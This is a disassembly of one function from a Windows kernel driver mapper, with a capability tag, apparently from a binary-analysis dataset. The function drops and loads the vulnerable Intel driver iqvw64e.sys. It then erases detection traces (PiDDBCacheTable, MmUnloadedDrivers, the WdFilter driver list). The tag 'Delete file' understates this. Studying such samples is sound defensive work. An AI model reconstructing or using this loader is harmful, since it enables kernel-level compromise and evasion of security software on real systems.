Function at 0x14000826a
Capabilities:
Delete file

Disassembly:
jmp 0x14014a9d0
push rdi
sub rsp, 0x180
xor ecx, ecx
call fcn.14014d1c0
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rsp + 0x70]
imul ecx, eax
mov eax, ecx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.140005290
movzx eax, al
test eax, eax
je 0x14014aa3f
lea rdx, str.____DeviceNal_is_already_in_use.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0x78], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x14014afc6
lea rax, [0x1403a2e90]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, reloc.WS2_32.dll_sendto
idiv ecx
mov eax, edx
add eax, 0xa
mov dword [rsp + 0x4c], eax
mov dword [rsp + 0x48], 0
jmp 0x14014aa7d
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x4c]
cmp dword [rsp + 0x48], eax
jge 0x14014aab8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
xor edx, edx
mov ecx, 0x34
div rcx
mov rax, rdx
lea rcx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
movsxd rdx, dword [rsp + 0x48]
lea rdi, [0x1403a2e90]
movzx eax, byte [rcx + rax]
mov byte [rdi + rdx], al
jmp 0x14014aa73
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x160]
call fcn.140005d71
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
call fcn.140005321
mov qword [rsp + 0xa0], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x160]
call fcn.140007333
lea rcx, [rsp + 0x50]
call fcn.140002766
nop
lea rcx, [rsp + 0x50]
call fcn.140005e2a
movzx eax, al
test eax, eax
je 0x14014abb7
lea rdx, str.____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0xa8], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0xb0], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0xb0]
jmp 0x14014afc6
lea rcx, [rsp + 0x50]
call fcn.140003800
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0x8708
lea rdx, [0x140291080]
lea rcx, [rsp + 0x50]
call fcn.1400031b1
movzx eax, al
test eax, eax
jne 0x14014ac3b
lea rdx, str.____Failed_to_create_vulnerable_driver_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0xb8], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0xc0], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0xc0]
jmp 0x14014afc6
lea rcx, [rsp + 0x50]
call fcn.140002266
movzx eax, al
test eax, eax
jne 0x14014acb2
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0xc8], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x50]
call fcn.140003800
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov qword [rsp + 0xd0], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0xd0]
jmp 0x14014afc6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14014acf8
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x14014ad55
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0xd8], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x40]
call fcn.140007ccf
mov qword [rsp + 0xe0], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0xe0]
jmp 0x14014afc6
lea rdx, str.ntoskrnl.exe
lea rcx, [rsp + 0x140]
call fcn.14000457a
nop
lea rcx, [rsp + 0x140]
call fcn.140001730
mov qword [0x1403a2ef8], rax
lea rcx, [rsp + 0x140]
call fcn.1400025d1
cmp qword [0x1403a2ef8], 0
jne 0x14014adf2
lea rdx, str.____Failed_to_get_ntoskrnl.exe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0xe8], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x40]
call fcn.140007ccf
mov qword [rsp + 0xf0], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0xf0]
jmp 0x14014afc6
mov rcx, qword [rsp + 0x40]
call fcn.140003d32
movzx eax, al
test eax, eax
jne 0x14014ae60
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0xf8], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x40]
call fcn.140007ccf
mov qword [rsp + 0x100], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0x100]
jmp 0x14014afc6
mov rcx, qword [rsp + 0x40]
call fcn.1400083f5
movzx eax, al
test eax, eax
jne 0x14014aece
lea rdx, str.____Failed_to_ClearKernelHashBucketList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0x108], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x40]
call fcn.140007ccf
mov qword [rsp + 0x110], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0x110]
jmp 0x14014afc6
mov rcx, qword [rsp + 0x40]
call fcn.14000632a
movzx eax, al
test eax, eax
jne 0x14014af3c
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004c9b
mov qword [rsp + 0x118], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x40]
call fcn.140007ccf
mov qword [rsp + 0x120], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0x120]
jmp 0x14014afc6
mov rcx, qword [rsp + 0x40]
call fcn.1400050ec
movzx eax, al
test eax, eax
jne 0x14014afa7
lea rdx, str.____Failed_to_ClearWdFilterDriverList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004fcf
mov qword [rsp + 0x128], rax
lea rdx, [0x140004958]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x40]
call fcn.140007ccf
mov qword [rsp + 0x130], 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0x130]
jmp 0x14014afc6
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x50]
call fcn.140007333
mov rax, qword [rsp + 0x138]
add rsp, 0x180
pop rdi
ret